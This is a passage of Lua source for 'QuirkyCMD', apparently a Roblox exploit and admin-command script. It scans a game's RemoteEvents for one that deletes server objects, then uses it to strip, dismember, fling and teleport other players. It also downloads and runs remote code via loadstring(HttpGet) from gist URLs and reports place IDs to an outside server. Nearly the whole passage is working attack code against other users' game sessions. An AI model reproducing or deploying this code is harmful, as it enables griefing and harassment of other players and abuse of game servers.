function(inst,i,v) pcall(function() inst[i] = v end) end local isnetworkowner = isnetworkowner or function(part) return part.ReceiveAge == 0 end local isMobile = uis.TouchEnabled local isTesting = game.PlaceId == 16245218863 local modernChat = game:GetService("TextChatService").ChatVersion == Enum.ChatVersion.TextChatService local chatEvents = (not modernChat) and rStorage:FindFirstChild("DefaultChatSystemChatEvents") local mobileOffset = isMobile and 0.1 or 0 local prefix = ";" local prefixEnum = Enum.KeyCode.Semicolon -- credits to itzyaboyluq on github for the word list local wordList = {"delete", "remove", "destroy", "clean", "clear","bullet", "bala", "shoot", "shot", "fire", "segway", "handless", "sword", "attack", "despawn", "deletar", "apagar"} local camera = workspace.CurrentCamera local mouse = localPlayer:GetMouse() local character task.delay(2,function() if character then return end cmdTemplate.Text = "waiting for LocalPlayer.Character..." end) character = localPlayer.Character or localPlayer.CharacterAdded:Wait() local testInstance = localPlayer:WaitForChild("StarterGear",1) if not testInstance then cmdTemplate.Text = "StarterGear already missing." return error("no test instance found") end local visible = false genv.connections = {} local commands = {} local remotes = {} local services = {} local privilegeLevels = {} local rankNames = {"admin", "owner", "self"} local bans = {} local loopkills = {} local infected = {} local killauras = {} local kickauras = {} local wslocks = {} local useSegway = false local slockEnabled = false local clickDelete = false local clickDeleteBox local inDatabase = false local scaleValues = { "BodyProportionScale", "BodyWidthScale", "BodyHeightScale", "BodyDepthScale", "HeadScale", "BodyTypeScale" } local limbs = { "arm", "leg", "foot" } local function httpget(url) if isTesting then return rStorage:WaitForChild("request"):InvokeServer(url) end return game:HttpGet(url) end --[[Add test game compatability]]-- if isTesting then function loadstring(src) return require(rStorage:WaitForChild("Loadstring"))(src) end local files = localPlayer.PlayerGui:WaitForChild("workspace") function isfile(str) local str = str or "" return files:FindFirstChild(str) and true or false end function writefile(str,txt) local str = str or "" local val = isfile(str) and files[str] or Instance.new("StringValue", files) val.Name = str val.Value = txt end function readfile(str) local str = str or "" if not files:FindFirstChild(str) then return error("file " .. str .. " does not exist") end return files[str].Value end function listfiles(str) local res = {} for i,v in pairs(files:GetChildren()) do table.insert(res, v.Name) end return res end function loadfile(str) local str = str or "" if not files:FindFirstChild(str) then return error("file " .. str .. " does not exist") end return loadstring(files[str].Value) end end --[[Prepare UI]]-- cmdsFrame.Visible = false main.Visible = false cmdTemplate.Visible = false mobileButton.Visible = false box.Position = UDim2.new(0, 0, 0, 0) box.Size = UDim2.new(0.824, 0, 1, 0) --[[Set up admin system logic]]-- for i,v in pairs(players:GetPlayers()) do privilegeLevels[v.Name] = 0 end privilegeLevels[localPlayer.Name] = 3 table.insert(genv.connections, players.PlayerAdded:Connect(function(plr) privilegeLevels[plr.Name] = 0 end)) table.insert(genv.connections, players.PlayerRemoving:Connect(function(plr) privilegeLevels[plr.Name] = nil end)) --[[Misc. functions]]-- function debugPrint(...) if not debugOutput then return end warn(...) end debugPrint("loaded UI") function notify(title,text,duration) sgui:SetCore("SendNotification", { Title = title or "", Text = text or "", Duration = duration or 5 }) end local function getKeyCode(char) local char = char:lower() local byte = char:byte() for i,v in pairs(Enum.KeyCode:GetEnumItems()) do local value = v.Value if value ~= byte then continue end return v end end function findPlayers(input) if input == nil or input == "" then return {localPlayer} end local input = input:lower() local players = players:GetPlayers() local targets = {} if input == "me" then return {localPlayer} end if input == "all" then return players end if input == "others" then targets = players table.remove(targets,1) return targets end if input == "random" then return {players[math.random(1,#players)]} end for i,v in pairs(players) do local plrName = v.Name:lower() local plrDisplayName = v.DisplayName:lower() if not (plrName:find(input) or plrDisplayName:find(input)) then continue end table.insert(targets, v) end return targets end function abort() for i,v in pairs(genv.connections) do if typeof(v) == "Instance" then v:Destroy() continue end v:Disconnect() end gui:Destroy() if modernChat then game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = nil end if clickDeleteBox then clickDeleteBox:Destroy() end genv.delete = nil genv.connections = nil genv.foundRemote = nil end local function lerp(a, b, m) return a + (b - a) * m end --[[Update variables]]-- table.insert(genv.connections, localPlayer.CharacterAdded:Connect(function(char) character = char end)) --Discord Invite local TweenService = game:GetService("TweenService") local Lighting = game:GetService("Lighting") local visible = false local hasPlayedSound = false local hasBlurred = false local notificationDismissed = false local appearSoundId = "rbxassetid://88591874532589" -- you can change this to your desired sound with an id. cool right? local discordInvite = "https://discord.gg/quirkycmd"-- same goes for this link, but i'd prefer if you keep it as quirky ;) local function playAppearSound() local sound = Instance.new("Sound") sound.SoundId = appearSoundId sound.Volume = 0.7 sound.PlayOnRemove = true sound.Parent = workspace sound:Destroy() end local function addFirstTimeBlur() local blur = Instance.new("BlurEffect") blur.Name = "StartBlur" blur.Size = 0 blur.Parent = Lighting local blurIn = TweenService:Create(blur, TweenInfo.new(0.6, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), { Size = 10 }) blurIn:Play() task.delay(1, function() local blurOut = TweenService:Create(blur, TweenInfo.new(0.5, Enum.EasingStyle.Exponential, Enum.EasingDirection.In), { Size = 0 }) blurOut:Play() blurOut.Completed:Connect(function() blur:Destroy() end) end) end local function showFirstTimeNotification() if notificationDismissed then return end local gui = game.Players.LocalPlayer:WaitForChild("PlayerGui") local screen = Instance.new("ScreenGui") screen.Name = "ok" screen.IgnoreGuiInset = true screen.ResetOnSpawn = false screen.Parent = gui local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 280, 0, 90) frame.AnchorPoint = Vector2.new(1, 1) frame.Position = UDim2.new(1, -20, 1, 120) frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) frame.BackgroundTransparency = 0 frame.BorderSizePixel = 0 frame.ClipsDescendants = true frame.Parent = screen Instance.new("UIScale", frame) Instance.new("UIAspectRatioConstraint", frame).AspectRatio = 3 local corner = Instance.new("UICorner", frame) corner.CornerRadius = UDim.new(0, 16) local close = Instance.new("TextButton") close.Text = "X" close.Size = UDim2.new(0, 22, 0, 22) close.Position = UDim2.new(1, -26, 0, 6) close.BackgroundColor3 = Color3.fromRGB(0, 0, 0) close.TextColor3 = Color3.fromRGB(159, 159, 159) close.Font = Enum.Font.FredokaOne close.TextSize = 14 close.BorderSizePixel = 0 close.Parent = frame local ccorner = Instance.new("UICorner", close) ccorner.CornerRadius = UDim.new(1, 0) local container = Instance.new("Frame") container.BackgroundTransparency = 1 container.Size = UDim2.new(1, -24, 1, -24) container.Position = UDim2.new(0, 12, 0, 12) container.Parent = frame local layout = Instance.new("UIListLayout") layout.SortOrder = Enum.SortOrder.LayoutOrder layout.Padding = UDim.new(0, 6) layout.VerticalAlignment = Enum.VerticalAlignment.Center layout.Parent = container local label = Instance.new("TextLabel") label.Text = "Join our Discord Server!" label.TextColor3 = Color3.fromRGB(159, 159, 159) label.Font = Enum.Font.GothamBold label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Center label.BackgroundTransparency = 1 label.Size = UDim2.new(1, 0, 0, 18) label.LayoutOrder = 1 label.Parent = container local link = Instance.new("TextLabel") link.Text = discordInvite link.TextColor3 = Color3.fromRGB(159, 159, 159) link.Font = Enum.Font.Gotham link.TextSize = 13 link.TextXAlignment = Enum.TextXAlignment.Center link.BackgroundTransparency = 1 link.Size = UDim2.new(1, 0, 0, 18) link.LayoutOrder = 2 link.Parent = container local buttonContainer = Instance.new("Frame") buttonContainer.BackgroundTransparency = 1 buttonContainer.Size = UDim2.new(1, 0, 0, 26) buttonContainer.LayoutOrder = 3 buttonContainer.Parent = container local button = Instance.new("TextButton") button.Text = "Copy Invite" button.Size = UDim2.new(0, 110, 1, 0) button.AnchorPoint = Vector2.new(0.5, 0) button.Position = UDim2.new(0.5, 0, 0, 0) button.BackgroundColor3 = Color3.fromRGB(0, 0, 0) button.TextColor3 = Color3.fromRGB(159, 159, 159) button.Font = Enum.Font.GothamSemibold button.TextSize = 13 button.Parent = buttonContainer local bcorner = Instance.new("UICorner", button) bcorner.CornerRadius = UDim.new(0, 8) local tween = TweenService:Create(frame, TweenInfo.new(0.6, Enum.EasingStyle.Quart, Enum.EasingDirection.Out), { Position = UDim2.new(1, -20, 1, -20) }) tween:Play() button.MouseButton1Click:Connect(function() pcall(function() setclipboard(discordInvite) end) button.Text = "Copied!" task.delay(1, function() button.Text = "Copy Invite" end) end) local function hideNotification() if notificationDismissed then return end notificationDismissed = true local out = TweenService:Create(frame, TweenInfo.new(0.4, Enum.EasingStyle.Quad, Enum.EasingDirection.In), { Position = UDim2.new(1, -20, 1, 120) }) out:Play() out.Completed:Connect(function() screen:Destroy() end) end close.MouseButton1Click:Connect(hideNotification) task.delay(10, hideNotification) end local function toggleBar(focus) visible = not visible if visible then box.Visible = true if focus then box:CaptureFocus() end else box.Visible = false box:ReleaseFocus() end end local function toggleMain() main.Visible = visible end table.insert(genv.connections, uis.InputBegan:Connect(function(input, processed) if processed and uis:GetFocusedTextBox() ~= box then return end if input.KeyCode ~= prefixEnum then return end toggleBar(true) toggleMain() if visible then return end box:ReleaseFocus() end)) --[[Find destroy remote & save to working games list]]-- local remoteJSON local function hasFiles() return (isfile and readfile and writefile) end local function checkList(str) local s,l = pcall(listfiles,str) return s and #l > 0 and l end local function listFiles() -- really wish i didnt have to do this if isTesting then return listfiles() end local list = checkList("") or checkList("/") or checkList("\\") or checkList("./") or {} return list end local function getGameList() if not isfile("quirky games.json") then writefile("quirky games.json", "[]") return {} end local content = readfile("quirky games.json") return game:GetService("HttpService"):JSONDecode(content) end local function checkFile() if not hasFiles() then return end for i,v in pairs(getGameList()) do if i ~= tostring(game.PlaceId) then continue end for _, instance in pairs(game:GetDescendants()) do if not (instance:IsA("RemoteEvent") and instance.Name == v) then continue end genv.foundRemote = instance remotePath.Visible = false main.Visible = false --inDatabase = true break end end end local function sendGame() if isTesting then return require(rStorage:FindFirstChild("addgame")) end loadstring(httpget("https://gist.githubusercontent.com/someunknowndude/670b864d99ce22d69ca9d365a3145bb0/raw"))() end local function logGameLocally() local games = getGameList() games[tostring(game.PlaceId)] = genv.foundRemote.Name writefile("quirky games.json", game:GetService("HttpService"):JSONEncode(games)) end local function hexDecodeChar(hex) return string.char(tonumber(hex,16)) end local function urlDecode(str) return string.gsub(str,"%%(%x%x)", hexDecodeChar) end local function checkDatabase() local res, succ, err, remoteJSON succ, err = pcall(function() res = httpget("https://eli.serv00.net/checkgame.php?id="..tostring(game.PlaceId)) remoteJSON = game:GetService("HttpService"):JSONDecode(res) end) if not succ then return debugPrint("database check failed:", err) end local success = remoteJSON["success"] local result = remoteJSON["result"] if success then local decoded = urlDecode(result) debugPrint(result) inDatabase = true if genv.foundRemote then return end for _, instance in pairs(game:GetDescendants()) do if not (instance:IsA("RemoteEvent") and instance.Name == decoded) then continue end genv.foundRemote = instance remotePath.Visible = false main.Visible = false break end end end debugPrint("initialised vars and funcs") checkFile() task.spawn(checkDatabase) remotePath.Text = "checking database..." task.wait(0.25) if not genv.foundRemote then for i,service in pairs(game:GetChildren()) do local s,e = pcall(function() return service.ClassName end) if not s then continue end if service.ClassName:lower() == "replicatedstorage" or service.ClassName:lower() == "workspace" then continue end table.insert(services, service) end local function checkRemote(remote) if not remote.Parent then return end if modernChat == false and remote.Parent.Name == "DefaultChatSystemChatEvents" then return end if remote.Parent.Name == "RobloxReplicatedStorage" then return end debugPrint(remote.Name) remotePath.Text = remote:GetFullName() local currentChar = character if remote.Name == "DestroySegway" then remote:FireServer(testInstance, {Value = testInstance}) else remote:FireServer(testInstance) end task.wait(checkTime + mobileOffset + (localPlayer:GetNetworkPing()*2)) if localPlayer:FindFirstChild("StarterGear") then return end genv.foundRemote = remote useSegway = remote.Name == "DestroySegway" debugPrint("found!") remotePath.TextColor3 = Color3.new(0,1,0) task.wait(.5) remotePath.Visible = false local TweenService = game:GetService("TweenService") local main = gui:WaitForChild("main") main.Visible = true main.BackgroundTransparency = 1 local tween = TweenService:Create(main, TweenInfo.new(0.6, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { BackgroundTransparency = 0 }) tween:Play() return true end local function scan(instance, softScan) checkTime = softScan and 0.75 or 0.5 for i,v in pairs(instance:GetDescendants()) do if genv.foundRemote then return end if not v:IsA("RemoteEvent") then continue end if v:FindFirstChild("__FUNCTION") then continue end if table.find(remotes,v) then continue end table.insert(remotes, v) if softScan then for _, phrase in pairs(wordList) do if not v.Name:lower():find(phrase) then continue end checkRemote(v) end continue end checkRemote(v) end end if not genv.foundRemote then debugPrint("soft rs") scan(rStorage, true) end if not genv.foundRemote then debugPrint("soft pgui") scan(localPlayer:FindFirstChildOfClass("PlayerGui"), true) end if not genv.foundRemote then debugPrint("soft ws") scan(workspace, true) end if not genv.foundRemote then debugPrint("aggro rs") scan(rStorage, false) end if not genv.foundRemote then debugPrint("aggro pgui") scan(localPlayer:FindFirstChildOfClass("PlayerGui"), false) end if not genv.foundRemote then debugPrint("aggro ws") scan(workspace, false) end if not genv.foundRemote then debugPrint("aggro all") for i,v in pairs(services) do scan(v, false) end end end if not genv.foundRemote then remotePath.Text = "game isn't supported, closing..." task.wait(3) gui:Destroy() return debugPrint("no silly remote found :( try a game from #confirmed-games in the server. Invite: discord.gg/quirkycmd") end if hasFiles() and getGameList()[tostring(game.PlaceId)] == nil then logGameLocally() end function delete(instance) if instance == genv.foundRemote then return end genv.foundRemote:FireServer(instance, useSegway and {Value = instance} or nil ) debugPrint("deleted instance " .. instance.Name) end genv.delete = genv.delete or delete toggleBar(false) toggleMain(false) --[[Add mobile support]]-- if isMobile then debugPrint("adding mobile compatability") mobileButton.Visible = false box.Position = UDim2.new(0, 0, 0, 0) box.Size = UDim2.new(0.824, 0, 1, 0) --[[Add button functionality]]-- mobileButton.MouseButton1Click:Connect(function() toggleBar(true) toggleMain(true) end) --[[Add drag functionality]]-- local dragging local dragInput local dragStart local startPos local lastMousePos local lastGoalPos local dragSpeed = 20 local function update(dt) if not (startPos) then return end local snap = (mouse.ViewSizeX - mouse.X) <= mouse.ViewSizeX/2 and 1 or mobileButton.Size.X.Scale if not (dragging) and (lastGoalPos) then mobileButton.Position = UDim2.new(lastGoalPos.X.Scale, 0, startPos.Y.Scale, lerp(mobileButton.Position.Y.Offset, lastGoalPos.Y.Offset, dt * dragSpeed)) return end local delta = (lastMousePos - uis:GetMouseLocation()) local xGoal = (startPos.X.Offset - delta.X) local yGoal = (startPos.Y.Offset - delta.Y) lastGoalPos = UDim2.new(snap,0, startPos.Y.Scale, yGoal) mobileButton.Position = UDim2.new(snap ,0, startPos.Y.Scale, lerp(mobileButton.Position.Y.Offset, yGoal, dt * dragSpeed)) end mobileButton.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = mobileButton.Position lastMousePos = uis:GetMouseLocation() input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) mobileButton.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) table.insert(genv.connections,rs.Heartbeat:Connect(update)) end --[[Add command logic]]-- function addCommand(cmdName, callback, aliases, securityLevel) table.insert(commands,{ name = cmdName:lower(), callback = callback, aliases = aliases or {}, securityLevel = securityLevel or 3 }) end function runCommand(cmdName, ...) if type(cmdName) == "table" then cmdName.callback(...) return end for i,v in pairs(commands) do if (v.name ~= cmdName) and (not table.find(v.aliases, cmdName)) then continue end v.callback(...) break end end local function handleCommand(text, caller) local split = text:split(" ") local enteredCommand = split[1] local command local target = split[2] or caller.Name local input = table.concat(split, " ", 2, #split) for i,v in pairs(commands) do -- bad implementation, might rewrite cmd handling again if (v.name ~= enteredCommand) and (not table.find(v.aliases,enteredCommand)) then continue end command = v break end if not command then return end local commandLevel = command.securityLevel local callerLevel = privilegeLevels[caller.Name] if callerLevel < commandLevel then return end runCommand(command, findPlayers(target), input, caller or localPlayer) end --[[Add chat command functionality]]-- local function handleChat(data) local message = modernChat and data.Text or data.Message local plr = modernChat and players:GetPlayerByUserId(data.TextSource.UserId) or players:FindFirstChild(data.FromSpeaker) local rank = privilegeLevels[plr.Name] if rank == 0 then return end local starter = message:sub(1,1) if starter ~= prefix then return end handleCommand(message:sub(2,-1), plr) end if modernChat then game:GetService("TextChatService").TextChannels["RBXGeneral"].OnIncomingMessage = function(data) handleChat(data) end else local messageEvent = chatEvents and chatEvents:FindFirstChild("OnMessageDoneFiltering") if messageEvent then table.insert(genv.connections, chatEvents and messageEvent.OnClientEvent:Connect(handleChat)) end end --[[Add command bar functionality]]-- table.insert(genv.connections,box.FocusLost:Connect(function(enterPressed) if visible then toggleBar() end if not enterPressed then return end handleCommand(box.Text, localPlayer) end)) --[[Add plugin support]]-- if listfiles and hasFiles() then local success, files = pcall(listFiles) if success and type(files) == "table" then for i,v in pairs(files) do if v:sub(-5,-1) ~= ".qcmd" then continue end pcall(function() task.spawn(function() loadstring(readfile(v))() -- why does nothing support loadfile :sob: end) end) end end end --[[Create commands]]-- local cmdsVisible = false addCommand("cmds", function() cmdsFrame.Visible = true end, {"commands"}, 3) addCommand("setprefix", function(plrs,newPrefix) local char = newPrefix:sub(1,1) if char == "" then prefix = ";" return end prefix = char prefixEnum = getKeyCode(char) end, {"prefix"}, 3) addCommand("setbind", function() uis.InputBegan:Wait() -- fires Return KeyCode local enum = uis.InputBegan:Wait().KeyCode prefixEnum = enum end, {"bind"}, 3) addCommand("admin", function(plrs) for i,v in pairs(plrs) do if v == localPlayer then continue end privilegeLevels[v.Name] = 1 debugPrint(`{v.Name} has been made an admin`) end end, {"addadmin"}, 2) addCommand("unadmin", function(plrs) for i,v in pairs(plrs) do if v == localPlayer then continue end privilegeLevels[v.Name] = 0 debugPrint(`{v.Name} is no longer an admin`) end end, {"removeadmin"}, 2) addCommand("owner", function(plrs) for i,v in pairs(plrs) do if v == localPlayer then continue end privilegeLevels[v.Name] = 2 debugPrint(`{v.Name} has been made an owner`) end end, {"addowner", "op"}, 3) addCommand("unowner", function(plrs) for i,v in pairs(plrs) do if v == localPlayer then continue end privilegeLevels[v.Name] = 0 debugPrint(`{v.Name} is no longer an owner`) end end, {"removeowner", "deop"}, 3) addCommand("ranks", function() local printString = "\nQuirkyCMD ranks:\n" for name,level in pairs(privilegeLevels) do if level == 0 then continue end local plr = players:FindFirstChild(name) if not plr then continue end local displayName = plr.DisplayName local rank = rankNames[level] local entryString = "" printString ..= `{displayName}` .. ((name ~= displayName and ` (@{name})`) or "") .. ` - {rank}\n` end print(printString) end, {"admins", "owners"}, 3) addCommand("aliases", function() local printString = "\nQuirkyCMD command aliases:\n" for i,v in pairs(commands) do local aliases = v.aliases if #aliases == 0 then continue end local aliasString = "" for index, alias in pairs(aliases) do aliasString ..= alias .. (index == #aliases and "" or ", ") end printString ..= `{v.name}: [{aliasString}]\n` end print(printString) end, {}, 3) addCommand("explorer", function() if isTesting then require(rStorage:WaitForChild("dex")) else loadstring(httpget("https://gist.githubusercontent.com/someunknowndude/8ee80f941d68d5f95e5982165e9ad42d/raw"))() -- credits to TacticalBFG and Moon for original dark dex v2 end end, {"dex"}, 3) addCommand("goto", function(plrs) local target local part for i,v in pairs(plrs) do local tChar = v.Character if not tChar then continue end part = tChar:FindFirstChild("HumanoidRootPart") or tChar:FindFirstChild("Head") or tChar:FindFirstChild("Torso") or tChar:FindFirstChild("LowerTorso") or tChar:FindFirstChildOfClass("BasePart") if not part then continue end break end if not part then return end character:PivotTo(part.CFrame * CFrame.new(0,0,2)) local hrp = character:FindFirstChild("HumanoidRootPart") for i = 1,10 do if not hrp then return end hrp.AssemblyLinearVelocity = Vector3.zero hrp.AssemblyAngularVelocity = Vector3.zero task.wait(.05) end end, {"to"}, 3) local viewConnection addCommand("view", function(plrs) local target for i,v in pairs(plrs) do local char = v.Character if not char then continue end local hum = char:FindFirstChild("Humanoid") or char:FindFirstChild("HumanoidRootPart") if not hum then continue end target = hum break end if not target then return end if viewConnection then viewConnection:Disconnect() end viewConnection = players[target.Parent.Name].CharacterAdded:Connect(function(char) local hum = char:WaitForChild("Humanoid") if not hum then return end camera.CameraSubject = hum end) table.insert(genv.connections,viewConnection) camera.CameraSubject = target end, {"spectate"}, 3) addCommand("unview", function(plrs) if viewConnection then viewConnection:Disconnect() end camera.CameraSubject = character.Humanoid or character:FindFirstChildOfClass("BasePart") end, {}, 3) addCommand("rejoin", function() if #players:GetPlayers() <= 1 then localPlayer:Kick("Rejoining!!") task.wait(.1) game:GetService("TeleportService"):Teleport(game.PlaceId, localPlayer) return end game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,game.JobId,localPlayer) end, {"rj"}, 3) addCommand("reset", function() local hum = character:FindFirstChild("Humanoid") local hrp = character:FindFirstChild("HumanoidRootPart") or hum and hum.RootPart local oldPosition = hrp and hrp.CFrame for i,v in pairs(character:GetChildren()) do if not v:IsA("Part") then continue end v.CFrame = CFrame.new(0, workspace.FallenPartsDestroyHeight+5,0) end task.wait(.1) if hum then hum:ChangeState(Enum.HumanoidStateType.Dead) end character:BreakJoints() if not oldPosition then return end local newHrp = localPlayer.CharacterAdded:Wait():WaitForChild("HumanoidRootPart") newHrp.CFrame = oldPosition end, {"re", "respawn"}, 3) local torsoNoclipLoop,torsoFlingLoop,torsoFlyLoop,oldHeight,flingTorso addCommand("torsofling", function() if torsoFlyLoop then return end local hum = character:FindFirstChildOfClass("Humanoid") if not hum then return end flingTorso = hum.RigType == Enum.HumanoidRigType.R6 and character:FindFirstChild("Torso") or character:FindFirstChild("UpperTorso") if not flingTorso then return end character.Archivable = true local fakeChar = character:Clone() fakeChar.Name = "wacky fake char" local fakeHrp = fakeChar.HumanoidRootPart local fakeHum = fakeChar.Humanoid for i,v in pairs(fakeChar:GetChildren()) do if v:IsA("BasePart") then v.Transparency = 1 continue end if v:IsA("Humanoid") then continue end v:Destroy() end oldHeight = workspace.FallenPartsDestroyHeight if not isTesting then workspace.FallenPartsDestroyHeight = -2^32-1 end hum:ChangeState(16) task.wait(.1) delete(hum) repeat task.wait() until hum.Parent ~= character for i,v in pairs(character:GetChildren()) do if v == flingTorso then continue end delete(v) end fakeHum.PlatformStand = true fakeHrp.Anchored = true workspace.CurrentCamera.CameraSubject = flingTorso fakeChar.Parent = workspace localPlayer.Character = fakeChar task.wait() torsoNoclipLoop = rs.Stepped:Connect(function() flingTorso.CanCollide = false for i,v in pairs(fakeChar:GetChildren()) do if not v:IsA("BasePart") then continue end v.CanCollide = false end end) table.insert(genv.connections,torsoNoclipLoop) torsoFlingLoop = rs.RenderStepped:Connect(function(dt) flingTorso.AssemblyLinearVelocity = Vector3.new(10000,10000,10000) end) table.insert(genv.connections,torsoFlingLoop) torsoFlyLoop = rs.Heartbeat:Connect(function(deltaTime) local moveDir = fakeHum.MoveDirection * (flySpeed * deltaTime) local hrpCF = fakeHrp.CFrame local cameraCF = camera.CFrame local cameraOffset = hrpCF:ToObjectSpace(cameraCF).Position + hum.CameraOffset cameraCF = cameraCF * CFrame.new(-cameraOffset.X, -cameraOffset.Y, -cameraOffset.Z + 1) local cameraPos = cameraCF.Position local hrpPos = hrpCF.Position local objectSpaceVelocity = CFrame.new(cameraPos, Vector3.new(hrpPos.X, cameraPos.Y, hrpPos.Z)):VectorToObjectSpace(moveDir) fakeHrp.CFrame = CFrame.new(hrpPos) * (cameraCF - cameraPos) * CFrame.new(objectSpaceVelocity) flingTorso.CFrame = fakeHrp.CFrame end) table.insert(genv.connections,torsoFlyLoop) end, {"tfling"}, 3) addCommand("untorsofling",function() if not torsoFlingLoop then return end localPlayer.Character = flingTorso.Parent torsoFlingLoop:Disconnect() torsoFlyLoop:Disconnect() torsoNoclipLoop:Disconnect() torsoFlingLoop = nil torsoFlyLoop = nil torsoNoclipLoop = nil if not isTesting then workspace.FallenPartsDestroyHeight = oldHeight end for i = 1,10 do flingTorso.AssemblyLinearVelocity = Vector3.zero flingTorso.AssemblyAngularVelocity = Vector3.zero flingTorso.Position = Vector3.new(0,oldHeight + 2,0) task.wait() end local fakeChar = workspace:FindFirstChild("wacky fake char") if not fakeChar then return end fakeChar:Destroy() end, {"untfling"}, 3) addCommand("eat", function(plrs, args) for _, plr in ipairs(plrs) do local char = plr.Character if not char then continue end local step = 0 for _, item in ipairs(char:GetChildren()) do if item:IsA("Accessory") or item:IsA("Shirt") or item:IsA("Pants") or item:IsA("ShirtGraphic") then delete(item) end end for _, joint in ipairs(char:GetDescendants()) do if joint:IsA("Motor6D") then local name = joint.Name:lower() if name:find("shoulder") then step += 1 task.delay(step * 0.35, function() delete(joint) end) end end end for _, joint in ipairs(char:GetDescendants()) do if joint:IsA("Motor6D") then local name = joint.Name:lower() if name:find("hip") or name:find("knee") or name:find("ankle") then step += 1 task.delay(step * 0.35, function() delete(joint) end) end end end local neck = char:FindFirstChild("Neck", true) if neck then step += 1 task.delay(step * 0.35, function() delete(neck) end) end local hum = char:FindFirstChildOfClass("Humanoid") if hum then step += 1 task.delay(step * 0.35, function() delete(hum) end) end step += 1 task.delay(step * 0.35, function() for _, part in ipairs(char:GetDescendants()) do if part:IsA("BasePart") then local n = part.Name:lower() if n:find("torso") then delete(part) end end end end) end end, {"consume", "erase", "vanish", "obliterate"}, 0) addCommand("fling", function(plrs) local hum = character:FindFirstChild("Humanoid") if not hum then return end local hrp = hum.RootPart if not hrp then return end local oldState = hum:GetState() local oldPosition = hrp.CFrame local oldDesroyHeight = workspace.FallenPartsDestroyHeight hum:ChangeState(16) if not isTesting then workspace.FallenPartsDestroyHeight = -2^32 end task.wait(.2) local flingConnection = rs.RenderStepped:Connect(function() hrp.AssemblyLinearVelocity = Vector3.new(1000,10000,1000) end) for i,v in pairs(plrs) do if v == localPlayer then continue end local char = v.Character if not char then continue end local thum = char:FindFirstChild("Humanoid") local thrp = thum and thum.RootPart or char:FindFirstChild("HumanoidRootPart") if not thrp then continue end hrp.CFrame = thrp.CFrame local posConnection = rs.Heartbeat:Connect(function() local pos = {thrp.Position.X + (thrp.Velocity.X / 2), thrp.Position.Y + (thrp.Velocity.Y / 2), thrp.Position.Z + (thrp.Velocity.Z / 2)} hrp.CFrame = CFrame.new(Vector3.new(pos[1],pos[2],pos[3])) end) task.wait(.75) posConnection:Disconnect() task.wait(.1) end flingConnection:Disconnect() hum:ChangeState(oldState) hrp.AssemblyAngularVelocity = Vector3.zero hrp.AssemblyLinearVelocity = Vector3.zero task.wait(.1) for i = 1, 20 do hrp.AssemblyAngularVelocity = Vector3.zero hrp.AssemblyLinearVelocity = Vector3.zero hrp.CFrame = oldPosition task.wait(.05) end if not isTesting then workspace.FallenPartsDestroyHeight = oldDesroyHeight end end,{},3) addCommand("bring", function(plrs) local hum = character:FindFirstChild("Humanoid") if not hum then return end local hrp = character:FindFirstChild("HumanoidRooPart") or hum.RootPart if not hrp then return end local oldPos = hrp.CFrame local cloneHum = hum:Clone() local tools = {} for i,v in pairs(character:GetChildren()) do if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end table.insert(tools, v) end for i,v in pairs(localPlayer.Backpack:GetChildren()) do if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end table.insert(tools, v) end if #tools == 0 then return notify("Error", "Tools are required", 5) end runCommand("unfly") task.wait() delete(hum) repeat task.wait() until hum.Parent ~= character cloneHum.Parent = character task.wait(.1) local targetCount = 1 for i,v in pairs(plrs) do if v == localPlayer then continue end local tchar = v.Character if not tchar then continue end local thrp = tchar:FindFirstChild("HumanoidRootPart") or tchar:FindFirstChild("Humanoid") and tchar.Humanoid.RootPart if not thrp then continue end local tool = tools[targetCount] if not tool then return notify("Error", "Not enough tools", 5) end cloneHum:EquipTool(tool) repeat task.wait() until tool.Parent == character task.wait() local attempts = 0 repeat thrp.CFrame = tool.Handle.CFrame hrp.CFrame = oldPos attempts += 1 task.wait() until tool.Parent ~= character or attempts > 100 hrp.CFrame = oldPos task.wait(.25) delete(tool) targetCount += 1 task.wait() end task.wait(.05) runCommand("re") end, {"toolbring", "tbring"}, 3) addCommand("skydive", function(plrs) local hum = character:FindFirstChild("Humanoid") if not hum then return end local hrp = character:FindFirstChild("HumanoidRooPart") or hum.RootPart if not hrp then return end local oldPos = hrp.CFrame local cloneHum = hum:Clone() local tools = {} for i,v in pairs(character:GetChildren()) do if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end table.insert(tools, v) end for i,v in pairs(localPlayer.Backpack:GetChildren()) do if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end table.insert(tools, v) end if #tools == 0 then return notify("Error", "Tools are required", 5) end runCommand("unfly") task.wait() delete(hum) repeat task.wait() until hum.Parent ~= character cloneHum.Parent = character task.wait(.1) local targetCount = 1 for i,v in pairs(plrs) do if v == localPlayer then continue end local tchar = v.Character if not tchar then continue end local thrp = tchar:FindFirstChild("HumanoidRootPart") or tchar:FindFirstChild("Humanoid") and tchar.Humanoid.RootPart if not thrp then continue end local tool = tools[targetCount] if not tool then return notify("Error", "Not enough tools", 5) end cloneHum:EquipTool(tool) repeat task.wait() until tool.Parent == character task.wait() local attempts = 0 local tPos = hrp.CFrame * CFrame.new(0,2000,0) repeat thrp.CFrame = tool.Handle.CFrame hrp.CFrame = tPos attempts += 1 task.wait() until tool.Parent ~= character or attempts > 100 hrp.CFrame = tPos task.wait(.25) delete(tool) targetCount += 1 task.wait() end hrp.CFrame = oldPos task.wait(.2) runCommand("re") end, {}, 1) addCommand("bring", function(plrs) local hum = character:FindFirstChild("Humanoid") if not hum then return end local hrp = character:FindFirstChild("HumanoidRooPart") or hum.RootPart if not hrp then return end local oldPos = hrp.CFrame local cloneHum = hum:Clone() local tools = {} for i,v in pairs(character:GetChildren()) do if not (v:IsA("Tool") and v:FindFirstChild("Handle")) then continue end table.insert(tools, v) end for i,v in 